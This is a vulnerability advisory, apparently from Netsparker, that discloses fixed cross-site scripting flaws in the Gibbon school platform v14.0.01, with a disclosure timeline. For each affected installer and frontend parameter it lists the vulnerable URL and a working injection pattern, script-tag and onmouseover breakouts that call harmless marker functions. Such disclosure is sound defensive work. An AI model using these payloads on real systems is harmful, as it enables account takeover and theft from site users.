Multiple XSS Vulnerabilities in Gibbon v14.0.01

Information
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Advisory by Netsparker
Name: Multiple XSS Vulnerabilities in Gibbon
Affected Software: Gibbon
Affected Versions: v14.0.01
Homepage: https://gibbonedu.org/
Vulnerability Type: Stored XSS Vulnerabilities
Severity: High
Status : Fixed
Netsparker Advisory Reference: NS-18-01

Technical Details - Stored XSS Vulnerabilities (Frontend)
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URL  http://scanned.app/core/index.php?q=preferences.php&return=success0  Injection URL  http://scanned.app/core/preferencesProcess.php  
Parameter Name  calendarFeedPersonal  
Parameter Type  POST  
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x00401A)</scRipt>

Technical Details - XSS Vulnerability (Install)
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URL  http://scanned.app/gibbon-install/installer/install.php?step=1&guid=x" onmouseover=netsparker(0x000157) x="  
Parameter Name  guid  
Parameter Type  GET  
Attack Pattern  x%22+onmouseover%3dnetsparker(0x000157)+x%3d%22  

URL  http://scanned.app/gibbon-install/installer/install.php?step=2&guid=i4pjwnyc3-hrvk-eg49-nh29-9qnnsipx0x  
Parameter Name  databaseUsername  
Parameter Type  POST  
Attack Pattern  %3cscRipt%3enetsparker(0x0003C6)%3c%2fscRipt%3e  

URL  http://scanned.app/gibbon-install/installer/install.php?step=2&guid=i4pjwnyc3-hrvk-eg49-nh29-9qnnsipx0x  
Parameter Name  databaseServer  
Parameter Type  POST  
Attack Pattern  %3cscRipt%3enetsparker(0x000365)%3c%2fscRipt%3e  

Technical Details - XSS Vulnerability (Frontend)
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URL  http://scanned.app/core/index.php?q=/modules/Resources/resources_view.php&tag='"--></style></scRipt><scRipt>netsparker(0x001B25)</scRipt>  
Proof URL  http://scanned.app/core/index.php?q=/modules/Resources/resources_view.php&tag='"--></style></scRipt><scRipt>alert(0x001B25)</scRipt>  
Parameter Name  tag  
Parameter Type  GET  
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001B25)</scRipt>  

URL  http://scanned.app/core/modules/Resources/resources_addQuick_ajax.php?file1=&file2=&file3=&file4=&id=x' onmouseover=netsparker(0x04665A) x='&address=&imagesAsLinks=N  
Parameter Name  id  
Parameter Type  GET  
Attack Pattern  x%27+onmouseover%3dnetsparker(0x04665A)+x%3d%27

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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17th January 2018 - First Contact
20th January 2018 - Vendor Fixed
28th June 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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